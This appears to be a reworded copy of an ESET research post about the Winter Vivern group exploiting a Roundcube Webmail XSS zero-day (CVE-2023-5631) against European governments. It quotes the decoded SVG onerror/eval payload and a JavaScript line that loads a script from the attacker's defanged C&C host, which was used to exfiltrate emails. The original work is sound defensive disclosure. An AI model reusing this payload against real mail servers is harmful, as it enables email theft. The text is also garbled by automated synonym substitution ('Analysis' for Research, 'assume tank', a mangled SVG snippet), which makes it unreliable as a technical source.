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ESET Analysis

ESET Analysis recommends updating Roundcube Webmail to the most recent obtainable model as quickly as potential

25 Oct 2023
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5 min. learn

ESET Analysis has been intently monitoring the cyberespionage operations of Winter Vivern for greater than a 12 months and, throughout our routine monitoring, we discovered that the group started exploiting a zero-day XSS vulnerability within the Roundcube Webmail server on October 11^th, 2023. This can be a totally different vulnerability than CVE-2020-35730, which was additionally exploited by the group in accordance with our analysis.

Based on ESET telemetry information, the marketing campaign focused Roundcube Webmail servers belonging to governmental entities and a assume tank, all in Europe.

Vulnerability disclosure timeline:

• 2023-10-12: ESET Analysis reported the vulnerability to the Roundcube workforce.
• 2023-10-14: The Roundcube workforce responded and acknowledged the vulnerability.
• 2023-10-14: The Roundcube workforce patched the vulnerability.
• 2023-10-16: The Roundcube workforce launched safety updates to deal with the vulnerability (1.6.4, 1.5.5, and 1.4.15).
• 2023-10-18: ESET CNA points a CVE for the vulnerability (CVE-2023-5631).
• 2023-10-25: ESET Analysis blogpost revealed.

We wish to thank the Roundcube builders for his or her fast reply and for patching the vulnerability in such a short while body.

Winter Vivern profile

Winter Vivern is a cyberespionage group first revealed by DomainTools in 2021. It’s thought to have been energetic since a minimum of 2020 and it targets governments in Europe and Central Asia. To compromise its targets, the group makes use of malicious paperwork, phishing web sites, and a customized PowerShell backdoor (see the articles from the State Cyber Safety Centre of Ukraine and from SentinelLabs). We consider with low confidence that Winter Vivern is linked to MoustachedBouncer, a complicated Belarus-aligned group that we first revealed about in August, 2023.

Winter Vivern has been focusing on Zimbra and Roundcube e-mail servers belonging to governmental entities since a minimum of 2022 – see this text from Proofpoint. Particularly, we noticed that the group exploited CVE-2020-35730, one other XSS vulnerability in Roundcube, in August and September 2023. Observe that Sednit (also referred to as APT28) is exploiting this outdated XSS vulnerability in Roundcube as properly, generally towards the identical targets.

Technical particulars

Exploitation of the XSS vulnerability, assigned CVE-2023-5631, will be carried out remotely by sending a specifically crafted e-mail message. On this Winter Vivern marketing campaign, the emails have been despatched from workforce.managment@outlook[.]com and had the topic Get began in your Outlook, as proven in Determine 1.

At first sight, the e-mail doesn’t appear malicious – but when we study the HTML supply code, proven in Determine 2, we will see an SVG tag on the finish, which incorporates a base64-encoded payload.

As soon as we decode the base64-encoded worth within the href attribute of the use tag, we’ve:

<svg id=”https://www.welivesecurity.com/en/eset-research/winter-vivern-exploits-zero-day-vulnerability-roundcube-webmail-servers/x” xmlns=”http://www.w3.org/2000/svg”> <picture href=”https://www.welivesecurity.com/en/eset-research/winter-vivern-exploits-zero-day-vulnerability-roundcube-webmail-servers/x” onerror=”eval(atob(‘<base64-encoded payload>’))” /></svg>

Because the x worth argument of the href attribute isn’t a legitimate URL, this object’s onerror attribute will likely be activated. Decoding the payload within the onerror attribute offers us the next JavaScript code (with the malicious URL manually defanged), which will likely be executed within the browser of the sufferer within the context of their Roundcube session:

var fe=doc.createElement(‘script’);fe.src=”https://recsecas[.]com/controlserver/checkupdate.js”;doc.physique.appendChild(fe);

Surprisingly, we observed that the JavaScript injection labored on a completely patched Roundcube occasion. It turned out that this was a zero-day XSS vulnerability affecting the server-side script rcube_washtml.php, which doesn’t correctly sanitize the malicious SVG doc earlier than being added to the HTML web page interpreted by a Roundcube person. We reported it to Roundcube and it was patched on October 14^th, 2023 (see this commit). The vulnerability impacts Roundcube variations 1.6.x earlier than 1.6.4, 1.5.x earlier than 1.5.5, and 1.4.x earlier than 1.4.15.

In abstract, by sending a specifically crafted e-mail message, attackers are in a position to load arbitrary JavaScript code within the context of the Roundcube person’s browser window. No guide interplay aside from viewing the message in an internet browser is required.

The second stage is a straightforward JavaScript loader named checkupdate.js and is proven in Determine 3.

The ultimate JavaScript payload – proven in Determine 4 – is ready to record folders and emails within the present Roundcube account, and to exfiltrate e-mail messages to the C&C server by making HTTP requests to https://recsecas[.]com/controlserver/saveMessage.

Conclusion

Winter Vivern has stepped up its operations by utilizing a zero-day vulnerability in Roundcube. Beforehand, it was utilizing recognized vulnerabilities in Roundcube and Zimbra, for which proofs of idea can be found on-line.

Regardless of the low sophistication of the group’s toolset, it’s a menace to governments in Europe due to its persistence, very common working of phishing campaigns, and since a big variety of internet-facing functions should not commonly up to date though they’re recognized to comprise vulnerabilities.

For any inquiries about our analysis revealed on WeLiveSecurity, please contact us at threatintel@eset.com.
ESET Analysis affords personal APT intelligence reviews and information feeds. For any inquiries about this service, go to the ESET Risk Intelligence web page.

IoCs

Information

Community

Electronic mail addresses

workforce.managment@outlook[.]com

This desk was constructed utilizing model 13 of the MITRE ATT&CK framework.